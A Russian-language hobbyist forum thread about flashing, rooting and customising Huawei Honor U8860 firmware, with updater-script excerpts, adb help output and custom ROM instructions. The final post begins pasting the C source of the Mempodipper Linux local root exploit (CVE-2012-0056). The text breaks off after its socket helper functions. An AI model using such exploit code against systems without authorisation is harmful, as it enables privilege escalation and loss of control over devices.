"dd41fbff40a953d14917ce838f501c13b4dc5c72",
package_extract_file("patch/system/lib/modules/mtd_torturetest.ko.p")));
set_progress(0.808219);
assert(apply_patch("/system/lib/modules/qcedev.ko", "-",
69ef242afc3110a69a9bd93fa2447b5c5ea83f95, 161970,
"6cb8bf4d561ed8a7c4428a12521831ceba4b66b9",
package_extract_file("patch/system/lib/modules/qcedev.ko.p")));
set_progress(0.821917);
assert(apply_patch("/system/lib/modules/qce.ko", "-",
95fa8d3ea5ea22371206cb28f7c12a13f282fd18, 153490,
"54fba332546c45b875f492f1073c3c796aafd92e",
package_extract_file("patch/system/lib/modules/qce.ko.p")));
set_progress(0.835616);
assert(apply_patch("/system/lib/modules/qcrypto.ko", "-",
98efd1173319764aec761a4ee1ad6cac3c2d296d, 278328,
"2215d80dabaa980922719f1e234a02e4e38426ab",
package_extract_file("patch/system/lib/modules/qcrypto.ko.p")));
set_progress(0.849315);
assert(apply_patch("/system/lib/modules/reset_modem.ko", "-",
43b55f733041eb026eb86fd3f390c196d724d056, 70095,
"653720b7acfeccc5235053a6e414e86723fe0ef5",
package_extract_file("patch/system/lib/modules/reset_modem.ko.p")));
set_progress(0.863013);
assert(apply_patch("/system/lib/modules/sch_dsmark.ko", "-",
d208f5d7aa9320998ff02eabe9e3bf179a6a4c9f, 189922,
"adbbba943f17a5b66f4fd43b1413cb848157f8c8",
package_extract_file("patch/system/lib/modules/sch_dsmark.ko.p")));
set_progress(0.876712);
assert(apply_patch("/system/lib/modules/scsi_wait_scan.ko", "-",
8fd0829f1be37f272d6878293679b0fe70c8420a, 32468,
"f282e7d06acdd326e93851c8ae9af6a2377684de",
package_extract_file("patch/system/lib/modules/scsi_wait_scan.ko.p")));
set_progress(0.890410);
apply_patch("/fat/image/amss.mbn", "/fat/image/amss.mbn.bkup",
a0329c0d7d65387f8945ab62774b1cb4cecf39d0, 24608768,
"117f089da080ccb8c481a08e557e08cf54bcbc1f",
package_extract_file("patch/fat/image/amss.mbn.p"));
assert(apply_patch_check("/fat/image/amss.mbn.bkup", "a0329c0d7d65387f8945ab62774b1cb4cecf39d0", "a0329c0d7d65387f8945ab62774b1cb4cecf39d0")||
apply_patch_check("/fat/image/amss.mbn", "a0329c0d7d65387f8945ab62774b1cb4cecf39d0", "a0329c0d7d65387f8945ab62774b1cb4cecf39d0"));
set_progress(0.904109);
assert(apply_patch("/system/app/Cloud.apk", "-",
2c158b1ea8477d094245bb80e65abdef5550fefd, 229902,
"d5f1be3397fa3d40231d00e9fb8f2f10fbd59538",
package_extract_file("patch/system/app/Cloud.apk.p")));
set_progress(0.917808);
assert(apply_patch("/system/app/Mms.apk", "-",
65d8edaa7eccb55904a4ce38caed816533a9d61f, 1390982,
"81264cef8a3c402483a3e7e983c25e6bf06fb339",
package_extract_file("patch/system/app/Mms.apk.p")));
set_progress(0.931506);
assert(apply_patch("/system/app/ProjectMenuAct.apk", "-",
ed45bddca81e4bc4eb667f03443875365e6fd1dd, 93965,
"774844aae75e591e9edb22fdcfa5c40ba7b180a4",
package_extract_file("patch/system/app/ProjectMenuAct.apk.p")));
set_progress(0.945205);
assert(apply_patch("/system/bin/diag_mdlog", "-",
742e01e84571e7005944c7d24f45c50e1dfe887b, 6040,
"5c29110b213104906c39997e33a11927910fe855",
package_extract_file("patch/system/bin/diag_mdlog.p")));
set_progress(0.958904);
assert(apply_patch("/system/cdrom/autorun.iso", "-",
b6a23680be8496627837f8862902e0393fac190b, 8185856,
"5d64ca08167c5652a4402f5c1fd14956427b28bf",
package_extract_file("patch/system/cdrom/autorun.iso.p")));
set_progress(0.972602);
assert(apply_patch("/system/etc/apns-conf.xml", "-",
ccfd9ef742a770ae05d38f4792f47b51603c64b5, 195999,
"6d6409eed62a283b97c86a03df4b27a2764e8926",
package_extract_file("patch/system/etc/apns-conf.xml.p")));
set_progress(0.986301);
assert(apply_patch("/system/framework/android.policy.jar", "-",
6151178cfc9f0537e35c28cd40776a29f435ffdd, 121344,
"9dbdeb10476ae2ce4495fe34f65dc71ba0c08528",
package_extract_file("patch/system/framework/android.policy.jar.p")));
set_progress(1.000000);
assert(apply_patch("/system/framework/services.jar", "-",
a220240ff41d21d0433b4fc76c1c67e918d52955, 824809,
"3891380a430a1df7d687f9aac6bbc00d842ab565",
package_extract_file("patch/system/framework/services.jar.p")));
sync();
show_progress(0.050000, 0);
ui_print("Unpacking new files...");
package_extract_dir("system", "/system");
sync();
set_progress(0.300000);
package_extract_dir("fat", "/fat");
sync();
set_progress(0.900000);
set_perm(0, 0, 000644,"/fat/image/au_ota.cfg");
set_perm(0, 0, 000744,"/fat/image/UPDATE.APP");
set_perm(0, 0, 000644,"/system/app/Hispace.apk");
set_perm(0, 0, 000644,"/system/etc/Diag.cfg");
sync();
set_progress(1.000000);
package_extract_file("OTA.OK", "/fat/image/OTA.OK");
sync();

Скрипт в архиве. Архив подписан. Родное рековери проверит подпись и пошлет в пешее эротическое, если суммы не совпадут. А вот adb думаю по барабану. Главное законектится. =)



Реп: (397)
V_P_Zadov @ 13.06.2012, 15:16 *
assert(apply_patch("/fat/image/boot.img", "-",

a_bait @ 13.06.2012, 15:25 *
ну скрипт как скрипт который вносит именно изменения а не полностью переписывает файлы

Я писал про подобные строки. Выходит в стандартном режиме recovery /dev/block/mmcblk0p1 монтируется на корень как /fat. Если adb доступно, но можно спулить кастомное рекавери через стандартную процедуру adb push
man adb

Android Debug Bridge version 1.0.29

-d - directs command to the only connected USB device
returns an error if more than one USB device is present.
-e - directs command to the only running emulator.
returns an error if more than one emulator is running.
-s <serial number> - directs command to the USB device or emulator with
the given serial number. Overrides ANDROID_SERIAL
environment variable.
-p <product name or path> - simple product name like 'sooner', or
a relative/absolute path to a product
out directory like 'out/target/product/sooner'.
If -p is not specified, the ANDROID_PRODUCT_OUT
environment variable is used, which must
be an absolute path.
devices - list all connected devices
connect <host>[:<port>] - connect to a device via TCP/IP
Port 5555 is used by default if no port number is specified.
disconnect [<host>[:<port>]] - disconnect from a TCP/IP device.
Port 5555 is used by default if no port number is specified.
Using this command with no additional arguments
will disconnect from all connected TCP/IP devices.

device commands:
adb push <local> <remote> - copy file/dir to device
adb pull <remote> [<local>] - copy file/dir from device
adb sync [ <directory> ] - copy host->device only if changed
(-l means list but don't copy)
(see 'adb help all')
adb shell - run remote shell interactively
adb shell <command> - run remote shell command
adb emu <command> - run emulator console command
adb logcat [ <filter-spec> ] - View device log
adb forward <local> <remote> - forward socket connections
forward specs are one of:
tcp:<port>
localabstract:<unix domain socket name>
localreserved:<unix domain socket name>
localfilesystem:<unix domain socket name>
dev:<character device name>
jdwp:<process pid> (remote only)
adb jdwp - list PIDs of processes hosting a JDWP transport
adb install [-l] [-r] [-s] <file> - push this package file to the device and install it
('-l' means forward-lock the app)
('-r' means reinstall the app, keeping its data)
('-s' means install on SD card instead of internal storage)
adb uninstall [-k] <package> - remove this app package from the device
('-k' means keep the data and cache directories)
adb bugreport - return all information from the device
that should be included in a bug report.

adb backup [-f <file>] [-apk|-noapk] [-shared|-noshared] [-all] [-system|-nosystem] [<packages...>]
- write an archive of the device's data to <file>.
If no -f option is supplied then the data is written
to "backup.ab" in the current directory.
(-apk|-noapk enable/disable backup of the .apks themselves
in the archive; the default is noapk.)
(-shared|-noshared enable/disable backup of the device's
shared storage / SD card contents; the default is noshared.)
(-all means to back up all installed applications)
(-system|-nosystem toggles whether -all automatically includes
system applications; the default is to include system apps)
(<packages...> is the list of applications to be backed up. If
the -all or -shared flags are passed, then the package
list is optional. Applications explicitly given on the
command line will be included even if -nosystem would
ordinarily cause them to be omitted.)

adb restore <file> - restore device contents from the <file> backup archive

adb help - show this help message
adb version - show version num

scripting:
adb wait-for-device - block until device is online
adb start-server - ensure that there is a server running
adb kill-server - kill the server if it is running
adb get-state - prints: offline | bootloader | device
adb get-serialno - prints: <serial-number>
adb status-window - continuously print device status for a specified device
adb remount - remounts the /system partition on the device read-write
adb reboot [bootloader|recovery] - reboots the device, optionally into the bootloader or recovery program
adb reboot-bootloader - reboots the device into the bootloader
adb root - restarts the adbd daemon with root permissions
adb usb - restarts the adbd daemon listening on USB
adb tcpip <port> - restarts the adbd daemon listening on TCP on the specified port
networking:
adb ppp <tty> [parameters] - Run PPP over USB.
Note: you should not automatically start a PPP connection.
<tty> refers to the tty for PPP stream. Eg. dev:/dev/omap_csmi_tty1
[parameters] - Eg. defaultroute debug dump local notty usepeerdns

adb sync notes: adb sync [ <directory> ]
<localdir> can be interpreted in several ways:

- If <directory> is not specified, both /system and /data partitions will be updated.

- If it is "system" or "data", only the corresponding partition
is updated.

environmental variables:
ADB_TRACE - Print debug information. A comma separated list of the following values
1 or all, adb, sockets, packets, rwx, usb, sync, sysdeps, transport, jdwp
ANDROID_SERIAL - The serial number to connect to. -s takes priority over this if given.
ANDROID_LOG_TAGS - When used with the logcat option, only these debug tags are printed.

Под спойлером многабукаф. открывать осторожно =)
А еще этот гадский скрипт (huawei updater-script) md5 и sh1 проверяет. Двойная защита. Блин. Китайская стена, мать её.

Сообщение отредактировал V_P_Zadov - 13.06.12, 15:46



Реп: (397)
Не выходит.
adb push recovery.img /fat/image
failed to copy 'recovery.img' to '/fat/image': Permission denied

Ух, китаезы, блин.



Реп: (397)
a_bait @ 13.06.2012, 16:14 *
а из под линукса не увидет?

Из под него и работаю. Телефонный демон adbd ответил что "недостаточно прав".
Однако своему скрипту рековери эти права на копирование в /fat/image дает. Выходит, что диск то фактически монтируется rw. Это у adb нет прав. adb root тоже не прокатило. В ядре в default.prop разрешения есть, но он не юзается походу... Затык, однако. Если бета была открытой, то релиз может закрыть все вкусности розового экрана. На хрен тогда этот релиз, спрашивается...
Народ. У кого проблема с розовым экраном и есть линукс. Дайте плиз вывод с терминалки на
#fdisk -l
и
lsusb

когда тел подключен к компу в розовом.

Сообщение отредактировал V_P_Zadov - 13.06.12, 16:35



Реп: (397)
papsi @ 13.06.2012, 16:23 *
Это с правами админа?(т.е. из под su)
демон adb конечно из под su. Он по другому девайс бы не увидел. Вот смотри в стандартном режиме.
adb devices
List of devices attached
10C61F4F3E98 device
adb shell
#
Проблема не с правами на ББ, но с ними на теле. На винде, допустим, какой может быть su при запуске adb на компе? Процедуры на аппарате обрабатывает бинарник adbd на телефоне. А у него недостаточно прав. Можно попробовать дать ему chmod 06755 как мы даем для корректной работы тому же бинарнику su. Но это уже костыль.
Добавлено
Вот, допустим, вся процедура рутования сводится к закидыванию бинарника su в /system/xbin/, создание симлинка на /system/bin/su, выставлению бинарнику прав 6755 и закидыванию в /system/app/superuser.apk. А вся трудность рутования в том, что у пользователя нет пермишенов (прав) на запись в/systeм, т.к. она из под init.rc по дефолту перемонтируется в рид онли. Ну это так. Для тех, кто не знает.

Сообщение отредактировал V_P_Zadov - 13.06.12, 17:07



Реп: (1866)
V_P_Zadov @ 13.06.2012, 17:19 *
Код
#fdisk -l
и
Код
lsusb

когда тел подключен к компу в розовом.

Device Boot Start End Blocks Id System
/dev/sdb1 1 491520 245760 b W95 FAT32
/dev/sdb2 * 491521 492520 500 4d QNX4.x
/dev/sdb3 492521 498520 3000 46 Unknown
/dev/sdb4 498521 7733247 3617363+ 5 Extended
/dev/sdb5 499712 524287 12288 6a Unknown
/dev/sdb6 524288 790527 133120 4c Unknown
/dev/sdb7 794624 798719 2048 6d Unknown
/dev/sdb8 802816 808959 3072 58 Unknown
/dev/sdb9 811008 825007 7000 50 OnTrack DM
/dev/sdb10 827392 833535 3072 4a Unknown
/dev/sdb11 835584 841727 3072 4b Unknown
/dev/sdb12 843776 1630207 393216 83 Linux
/dev/sdb13 1630208 3465215 917504 83 Linux
/dev/sdb14 3465216 7733247 2134016 6b Unknown

Не совсем уверен то ли это...Но ответ но команду fdisk -l находясь в диске с image
lsusb
lsusb
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 003 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 002: ID 04f2:b073 Chicony Electronics Co., Ltd
Bus 001 Device 005: ID 12d1:1035 Huawei Technologies Co., Ltd. U8120


Сообщение отредактировал papsi - 13.06.12, 17:38



Реп: (397)
papsi @ 13.06.2012, 17:16 *
Не совсем уверен то ли это...Но ответ но команду fdisk -l находясь в диске с image
lsusb

это вывод команд с аппарата на котором нет доступа к дисковому пространству через розовый экран? Если да, то я весьма поражен. Выводы точно такие же, что и на аппарате, на котором все монтируется ок. Если разделы не монтируются автоматом, то попробуйте смонтировать их вручную. Посмотрите, не смонтировались ли диски а /media. Если нет, то
$mkdir ~/huawei
$mount -w -t vfat /dev/sdc1 ~/huawei
и посмотрите будет ли в папке huawei в дом дирректории каталог image с рековери, бутом и т.д.

Сообщение отредактировал V_P_Zadov - 13.06.12, 21:00
Причина редактирования: дописал.



Реп: (36)
Gummy-Bear @ 14.06.2012, 13:28 *
люди, а в этой новой 923й проше - какая версия камеры?та же, что и в 919sp1?ктонить может её отуда выковырять - хочу на mediapad попробовать её вкрячить

Камера присутствует на форуме Камера из Huawei Ascend P1 или Huawei Apps for ANY Android Phone

Сообщение отредактировал Wolf75 - 14.06.12, 16:57



Реп: (52)
 
Кастом на основе оф. прошивки для Западной Европы U8860IV100R001WEC00B924SP01 OTA


Официальная версия прошивки:
- U8860IV100R001WEC00B924SP01 OTA | Зеркало
Кастомная версия прошивки 924SP01:
- 924SP01 Mod (от 14.08.2012)
Скрипт для получения Root-прав от a_bait:
- RootU8860_B924 | Зеркало

Инструкция:
1. Устанавливаем оф.прошивку U8860IV100R001WEC00B924SP01 OTA;
2. Отключаем режим "Быстрая загрузка" (Settings -> Fast Boot);
3. Включаем в настройках для разработчиков режим "Отладка по USB" (Settings -> Developer options -> USB debugging);
4. Получаем Root;
5. Устанавливаем Прикрепленный файлRoot_Explorer_2.21.1.apk ( 407.52 КБ )

6. Расширяем функционал прилагаемым софтом (B924SP01 Mod) с помощью RootExplorer:
6.1. Заходим через RootExlorer в файл по пути /data/custom.bin, смотрим написанную в нём строку и ставим соответствующий cust.img из приложенного архива по пути .cust_backup/image/.
!Важно: после замены cust.img Вы обязаны делать wipe factory reset и wipe cache, иначе изменение не применяется;
6.2. Копируем содержимое папки app_STEP1 по пути /system/app/, при необходимости, соглашаясь на замену;
6.3. Копируем содержимое папки app_STEP2 по пути /system/app/, соглашаясь на замену, и перезагружаемся.
7. Удаляем стоковые приложения:
Список приложений для удаления
Оранжевыйможно удалять, но только если Вы уверены в ненадобности приложения.
!Примечание: после удаления посыпятся ошибки приложений, ничего страшного, просто перезагружаем устройство.

/system/app/ApkBatchInstall.apk - Пакетная установка APK;
/system/app/BackupRestoreConfirmation.apk - резервное копирование/восстановление настроек;
/system/app/DrmProvider.apk - Необходим для прослушивание лицензионных аудиозаписей;
/system/app/DutchPack.apk - Голландский языковой пакет для клавиатуры Huawei;
/system/app/Exchange.apk - Почтовый акуант Exchange;
/system/app/FaceLock.apk - Разблокировка телефона путем распознования лиц;
/system/app/FrenchPack.apk - Французский языковой пакет для клавиатуры Huawei;
/system/app/GenieWidget.apk - Виджет погоды и новостей;
/system/app/GermanPack.apk - Немецкий языковой пакет для клавиатуры Huawei;
/system/app/Gmail.apk - Почтовый клиент Gmail.com;
/system/app/GMS_Maps.apk - Карты Google;
/system/app/GoogleBackupTransport.apk - Резервное копирование;
/system/app/GoogleCalendarSyncAdapter.apk - Синхронизация календаря Google;
/system/app/GoogleFeedback.apk - Отчет об ошибках Google;
/system/app/GoogleQuickSearchBox.apk - Поисковая строка Google на рабочем столе;
/system/app/HuaweiSecurityGuard.apk - Черный список, менеджер паролей, шифрование;
/system/app/HwBluetoothImport.apk - Автомобильный Bluetooth;
/system/app/HwDLNA.apk - Протокол DLNA;
/system/app/HwIME.apk - Клавиатура Huawei:
/system/app/HwLauncher5_NormalPlus.apk - Лаунчер Huawei;
/system/app/HwOUC.apk - Менеджер OTA обновлений(обновление "по воздуху");
/system/app/HwWiFiHotspot.apk - Точка доступа Wi-Fi;
/system/app/ItalianPack.apk - Итальянский языковой пакет для клавиатуры Huawei;
/system/app/KeyChain.apk - Менеджер паролей;
/system/app/LiveWallpapers.apk - Пак живых обоев;
/system/app/MediaCenter.apk - Аудиопроигрыватель Музыка+;
/system/app/MediaUploader.apk - Выгрузка фото на сторонние ресурсы;
/system/app/MMITest_II.apk - Встроенные тесты телефона от компании Huawei;
/system/app/MMITest_record.apk - Создание логов Тестов телефона от компании Huawei;
/system/app/MyCalendar.apk - Виджет календаря Google;
/system/app/MyEmail.apk - Виджет электронной почты;
/system/app/NotePad.apk - Приложение "Заметки" от компании Huawei;
/system/app/OMACP.apk
/system/app/PicoTts.apk - Преобразование текста в речь, простыми словами, говорилка;
/system/app/PlusOne.apk - Соц.сеть Google+;
/system/app/PortuguesePack.apk - Португальский языковой пакет для клавиатуры Huawei;
/system/app/ProjectMenuAct.apk - Инженерное меню Huawei;
/system/app/Protips.apk - Виджет обучения Android;
/system/app/SetupWizard.apk - Настройка телефона при первом включении;
/system/app/SharedStorageBackup.apk - Резервное копирование;
/system/app/SpanishPack.apk - Испанский языковой пакет для клавиатуры Huawei;
/system/app/Stk.apk - Меню сим-карты;
/system/app/Street.apk - Улицы на картах Google;
/system/app/Talk.apk - Приложение Google Talk;
/system/app/TurkishPack.apk - Турецкий языковой пакет для клавиатуры Huawei;
/system/app/VisualizationWallpapers.apk - Пак живых обоев;
/system/app/VoiceDialer.apk - Голосовой набор;
/system/app/VoiceSearch.apk - Голосовой поиск;
/system/app/Wiper.apk - Определение местоположения по сети Wi-Fi.

8. Удаляем следующие папки:
/system/cdrom
/system/media
/system/tts
/system/usr/srec
/system/vendor
/system/lib/drm
(если удалили DrmProvider.apk)
/data/dataapp
9. Удаляем следующие файлы:
/system/bin/bugreport
/system/bin/dumpstate

10. Копируем:
10.1. Папку media по пути /system/;
10.2. Папку etc по пути /system/;
10.3. Папку lib по пути /system/;
10.4. Файл build.prop по пути /system/;
10.5. Одновременно framework-res.apk и framework-res-hwext.apk по пути /system/framework/
!Примечание: возможно телефон не загрузится, не пугаемся и делаем дальше по инструкции.
11. Выставляем права:
11.1. Приложениям в папке /system/app/
X X O
X O O
X O O

11.2. Файлам:
build.prop по пути /system/
SRSAudioFilter.csv по пути /system/etc/
com.sonyericsson.audioeffectif.xml по пути /system/etc/permissions/
b1.jar по пути /system/framework/
semc_audioeffectif.jar по пути /system/framework/
framework-res.apk по пути /system/framework/
framework-res-hwext.apk по пути /system/framework/
libsrstb.so по пути /system/lib/
libxloudwrapper.so по пути /system/lib/soundfx/
X X O
X O O
X O O

11.3. Файлам:
be_movie по пути /system/etc/
be_photo по пути /system/etc/
и изменяем им владельца на:
Владелец: 0 - root
Группа: 0 - root;
Папке:
init.d по пути /system/etc/
X X X
X O X
X O X

11.4. install-recovery.sh по пути /system/etc/
X X X
X O O
X O O

и изменяем ему владельца на:
Владелец: 1000 - system
Группа: 1000 - system
12. Заходим в стандартный recovery (Volume UP + Power), делаем wipe factory reset и wipe cache.

Перечень файлов, которые входят в архив 924SP01Mod:
system\app\Browser.apk - Стоковый браузер из B978(более стабильный);
system\app\HwFileManager.apk - Стоковый файловый менеджер из B978(более отзывчивый);
system\app\FMRadio.apk - Стоковое радио из B978;
system\app\GoogleContactsSyncAdapter.apk - Cинхронизация контактов Google;
system\app\GoogleLoginService.apk - Аккаунт Google;
system\app\Launcher.apk - Nova Launcher Prime (последняя на данный момент версия лаунчера);
system\app\Music2.apk - Google Play Music (имеет кнопки управления на заблокированном экране);
system\app\Phonesky.apk - Google play (последняя на данный момент версия маркета);
system\app\RootExplorer.apk - Файловый менеджер с Root правами;
system\app\Settings.apk - Оптимизированное приложение настроек Android;
system\app\Superuser.apk - Программа для управления Root правами;
system\app\Wallpaper.apk - Пак обоев;
system\app\Youtube.apk - Обновленная версия приложения YouTube.
xLOUD by pirrat
system\app\AudioEffectService.apk
system\app\SRSPanel.apk
system\etc\SRSAudioFilter.csv
system\etc\permissions\com.sonyericsson.audioeffectif.xml
system\framework\b1.jar
system\framework\semc_audioeffectif.jar
system\lib\libsrstb.so
system\lib\soundfx\libxloudwrapper.so

Оптимизированные системные frameworks
system\framework\framework-res.apk
system\framework\framework-res-hwext.apk

Пак системных звуков
system\media\
Mobile BRAVIA Engine port
system\etc\be_movie
system\etc\be_photo

Оптимизированная конфигурация Android
system\build.prop
Поддержка скриптов init.d
system\etc\init.d\
system\etc\install-recovery.sh




За основу взят пост и сам кастом от a_bait, была немного изменена инструкция, кое-что добавлено, кое-что изменено.

Изменения по сравнению с U8860B924SP01Clean by a_bait (Build 31/07/2012)
1. Заменен цвет в framework-res.apk с кислотно-синего на нативный (оригинальный);
2. Заменен build.prop на оптимизированный by pirrat;
3. Beats Audio port by pirrat заменен на xLOUD by pirrat;
4. ApexLauncher заменен на Nova Launcher Prime;
5. Удален MusicFX.apk (эквалайзер);
6. Обновлен Play Маркет;
7. Реализована поддержка скриптов init.d


При создании кастома использовались следующие наработки наших многоуважаемых форумчан:

Премного благодарен вам, господа!

 

Сообщение отредактировал ReQuanto - 14.08.12, 21:34
Причина редактирования: 924SP01Mod



Реп: (20)
hayova,
Я скачал ту что DTS 4-мя частями выложил. В розовом экране как съемный диск не определяется.

Рут через Unlock Root не смог получить.
PS: кто там просил на дропбокс залить? https://www.dropbox.com/s/nid2s666ickqazq/U...C10B923SP01.rar

Сообщение отредактировал DTS - 15.06.12, 13:53



Реп: (3782)
jabro23 @ 16.06.2012, 11:00 *
кто нибудь может помочь с распаковкой UPDATE.APP? Весь гугл перелопатил и буржуйские сайты в том числе. внятного ответа так и не нашел


у китайцев надо было спросить. В)

Распаковка UPDATE.APP

1. распаковать архив в папку
2. положить UPDATE.APP в эту папку
3. запустить cmd
4. cd папка
5. bootimg.exe --unpack-updata UPDATE.APP

Открыть получившиеся IMG файлы можно смонтировав их в Linux Reader

Прикрепленные файлы

Прикрепленный файлhuawei_unpack_utils.zip ( 2.97 МБ )



Реп: (3782)
U8860 B923 by DOC2008

Что удалено:

- Google Apps (оставил только маркет). Можете отдельно прошить gapps через рекавери (приаттачено)
- Приложения Яндекс
- некоторые ненужные приложения

Если что вот ССЫЛКА на все программы офф. прошивки. Можете запихнуть в прошивку.

Что добавлено:

- root
- звуковые драйвера и настройки CM9 и DSP менеджер
- две дополнительные темы для Huawei Launcher
- Acsend Tools (дает варианты перезагрузки)
- Adobe flash player
- root explorer

Установка:

1. Устанавливаем оф. версию прошивки B919 отсюда;
2. Отключаем режим Fast Boot (быстрая загрузка) в настройках телефона;
3. Удаляем ранее записанную прошивку с карты памяти (папка dload);
4. Записываем прошивку в корень SDCard;
5. Выключаем устройство;
6. Устанавливаем приаттаченный RecoveryClockWorkMod (подмена файла в режиме "розового экрана");
7. Грузимся в RecoveryClockWorkMod (клавиша Volume up + Power);
8. Делаем WIPE через ClockWorkMod (wipe data/factory reset, wipe cache partition, advanced/Wipe Dalvik Cache);
9. Идем назад в главное меню ClockWorkMod и выбираем пункт меню Install zip from sdcard - choose zip from sdcard)
Перемещение по меню RecoveryClockWorkMod происходит с помощью клавиш «Volume up, Volume down», выбор меню, с помощью клавиши «Power или Search», возврат в предыдущее меню «Стрелка назад на сенсорной клавиатуре».
10. По окончанию прошивки - reboot system now

СКАЧАТЬ

Прикрепленные файлы

Прикрепленный файлrecovery.img ( 6.43 МБ )
Прикрепленный файлgapps_ics_4.0.zip ( 29.67 МБ )


Сообщение отредактировал Andreee - 18.09.12, 19:44
Причина редактирования: +1 от Юрий1961...



Реп: (3782)
Нарисовалась неизвестная официальная прошивка, предположительно чешская: Huawei Honor ICS V100R001C00B922

Скачать можно ОТСЮДА

Последние изменения мануала в архиве 29 мая 2012.

- русский присутствует
- по скорости аналогична 923
- после загрузки 140 метров памяти свободно
- звут тиховатый, но неплохой
- кнопки в шторке есть
- bootloader залочен

Обязательно ставьте Step 1-2

Прикрепленные изображения
Прикрепленное изображение


Сообщение отредактировал Andreee - 29.09.12, 05:03
Причина редактирования: +1 от viknika...



Реп: (106)
pirrat @ 17.06.2012, 12:42 *
Шутник Ты чо мутил с с framework на 919-й, и в build, что-бы локскрин пахал?

Надо поменять ro.config.hw_lockscreen=false на ro.config.hw_lockscreen=true ;)
Закинуть Прикрепленный файлPotterUnlock.apk ( 1.72 МБ )
в /system/app

Сообщение отредактировал Ansfer - 17.06.12, 12:01



Реп: (3782)
Как заменить CM9 звук с DSP на оригинальный B923 в моей кастомной прошивке

(по просьбам пользователей)

- открываете архив прошивки с помощью winrar
- в system/app удаляете DSPManager.apk
- в system/etc заменяете audio_effects.conf файлом из архива
- в /system/lib/soundfx удаляете все файлы и заливаете файлы из архива
- прошиваетесь

Прикрепленные файлы

Прикрепленный файлsystem.zip ( 68.1 КБ )


Сообщение отредактировал DOC2008 - 17.06.12, 12:10



Реп: (148)
Появилась официальная стабильноработающая ICS прошивка для Huawei Honor U8860IV100R001WEC00B924SP01 OTA

[ROM] U8860IV100R001WEC00B924SP01 OTA. Прошивка для Западной Европы, есть русский язык, нет возможности добавить CWM, root доступен, стабильно работает.
ссылки на скачивание

Получение root
Получение root прав для прошивок b922-b923-b924
http://4pda.to/forum/dl/post/1822716/root.zip автор V_P_Zadov взято отсюда

При отсутствии кнопок в шторке
Заходим через RootExlorer в файл по пути /data/custom.bin, долгий тап, Открыть как текст - смотрим написанную в нём строку и ставим соответствующий cust.img из приложенного архива.
скачать архив http://4pda.to/forum/dl/post/1878611/cust.img.zip автор: a_bait взято отсюда
После замены cust.img необходимо зайти в Настройки - Восстановление и сброс - Сброс настроек - Сбросить настройки телефона.


Старые прошивки
Старые прошивки:
[ROM] B923SP01 - Прошивка для России, нет возможности добавить CWM, root доступен, требует ручного допиливания, для нормальной работы лучше ставить кастомы (см. ссылку в шапке темы).

[ROM] C00B913SP01 - Прошивка для России, есть возможность сделать дамп памяти в режиме розового экрана, можно установить CWM, root доступен, требует ручного допиливания, для нормальной работы лучше ставить кастомы (см. ссылку в шапке темы).

[ROM] ICS 4.0 Cambodia Demo version (B978) Одна из первых версий ICS для Huawei Honor, многоязычная версия (русский присутствует). (см. ссылку в шапке темы).


Как установить официальную прошивку
Способ установки:
1.Создаём на SD-карте папку dload
2.Записываем файлы UPDATE.APP и UPDATE_CUST.APP в папку dload
3.В настройках телефона на вкладке Память выбираем Обновление ПО - Обновление SD-карты - Подтвердить
либо проверяем отключена ли быстрая загрузка, выключаем телефон, зажимаем обе кнопки громкости и кнопку Включения и держим до начала процесса обновления прошивки.
Весь процесс обновления занимает ~20 минут. Смартфон должен неоднократно сам перегружаться. Если устройство выключилось на каком-то из этапов (а скорее всего так и будет) - просто включите его заново.


Ссылка на стандартный виджет погоды без звука:
http://4pda.to/forum/dl/post/1877435/TotemWeather.apk.zip
----------------------------------
Если вам по каким-то причинам не понравились ICS прошивки для Huawei Honor, вы можете вернуться на прошивки 2.3.6

Сообщение отредактировал eserguei - 24.07.12, 00:43



Реп: (397)
Вчерашие изыски с рутом с помощью небезызвестного в узких кругах mempodipper и попытка пару тройку раз прошиться ни к ночи будь помянутой 913 окирпичили неделюназадкупленный телефон, dd if=backup of=/dev/sdc восстановили его. Что то как то ссыкотно эксперементировать дальше. Мну и 978 устраивает. =)
сам mdipropper (кому интересно)
gcc mdiprppper.c -o mdipproper
./mdipropper

code mdipropper

/*
* Mempodipper
* by zx2c4
*
* Linux Local Root Exploit
*
* Rather than put my write up here, per usual, this time I've put it
* in a rather lengthy blog post: http://blog.zx2c4.com/749
*
* Enjoy.
*
* - zx2c4
* Jan 21, 2012
*
* CVE-2012-0056
*/

#define _LARGEFILE64_SOURCE
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>

char *prog_name;

int send_fd(int sock, int fd)
{
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
int n;
char cms[CMSG_SPACE(sizeof(int))];

buf[0] = 0;
iov.iov_base = buf;
iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = (caddr_t)cms;
msg.msg_controllen = CMSG_LEN(sizeof(int));

cmsg = CMSG_FIRSTHDR(&msg);
cmsg->cmsg_len = CMSG_LEN(sizeof(int));
cmsg->cmsg_level = SOL_SOCKET;
cmsg->cmsg_type = SCM_RIGHTS;
memmove(CMSG_DATA(cmsg), &fd, sizeof(int));

if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
return -1;
close(sock);
return 0;
}

int recv_fd(int sock)
{
int n;
int fd;
char buf[1];
struct iovec iov;
struct msghdr msg;
struct cmsghdr *cmsg;
char cms[CMSG_SPACE(sizeof(int))];

iov.iov_base = buf;
iov.iov_len = 1;

memset(&msg, 0, sizeof msg);
msg.msg_name = 0;
msg.msg_namelen = 0;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;

msg.msg_control = (caddr_t)cms;
msg.msg_controllen = sizeof cms;

if ((n = recvmsg(sock, &msg, 0)) < 0)
return -1;
if (n == 0)
return -1;
cmsg = CMSG_FIRSTHDR(&msg);
memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
close(sock);
return fd;
}

